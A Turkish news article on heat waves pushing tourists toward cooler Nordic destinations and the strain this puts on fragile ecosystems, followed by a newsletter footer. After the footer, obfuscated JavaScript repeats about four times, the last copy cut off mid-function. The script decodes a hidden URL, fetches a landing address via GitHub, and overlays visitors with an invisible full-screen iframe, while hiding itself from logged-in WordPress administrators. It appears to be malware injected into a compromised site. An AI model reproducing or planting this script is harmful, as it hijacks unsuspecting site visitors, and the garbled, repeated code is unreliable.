GÜNEY Avrupa’da sıcak hava dalgalarının şiddetlenmesi, turistlerin yaz tatili rotalarını kuzeye kaydırıyor. Turizm sektörünün “serin tatil” olarak adlandırdığı bu eğilim, sıcak bölgeler yerine daha serin destinasyonlarda tatil yapmayı ifade ediyor. Ekonomik İşbirliği ve Kalkınma Örgütü’nün 2026 turizm raporuna göre, sıcaklıkların artması serin destinasyonlara ilgiyi artırıyor. Norveç’te tur operatörleri de özellikle temmuz ve ağustos aylarında fiyortlar, yürüyüş ve bisiklet gibi açık hava aktivitelerine talebin yükseldiğini belirtiyor.
AŞIRI İLGİ TEHDİT DE GETİRİYOR
Artan ziyaretçi sayısı, bölgede hassas ekosistemler için ise yeni bir tehdit oluşturuyor. Norveç’in Lofoten takımadalarında 2025’te 807 binden fazla ticari geceleme kaydedildi. İskandinav ülkelerinde kuş kolonileri, ren geyikleri ve hassas bitki örtüsü turist yoğunluğundan etkileniyor. Turizm araştırmacısı Elina Hutton, bazı yürüyüş rotalarının yaklaşık 20 metre genişlediğini ve çevredeki bitki örtüsünün yok olduğunu belirtiyor ve artan turist sayısını yalnızca ekonomik fırsat olarak görülmemesi gerektiğini söylüyor.

Kuzey ışıkları, turistlerin Finlandiya tercihinde önemli yer.
KUZEY DE ISINIYOR
Uzmanlar, kuzey ülkeleri Norveç, İsveç ve Finlandiya’nın uzun vadede güvenilir bir “serin sığınak” olmayabileceği uyarısında bulunuyor. İklim değişikliği nedeniyle geleneksel olarak serin kabul edilen destinasyonlarda da sıcaklıkların yükselmesi bekleniyor.

Norveç fiyortları son yıllarda büyük rağbet görüyor.
Haber Bültenleri ve E-Posta Tercihleri
Türkiye ve dünyadaki en güncel gelişmelerden haberdar olmak için, bültenlerin gönderileceği e-posta adresini girin.
Bülten Seçimleri
;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/{id}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
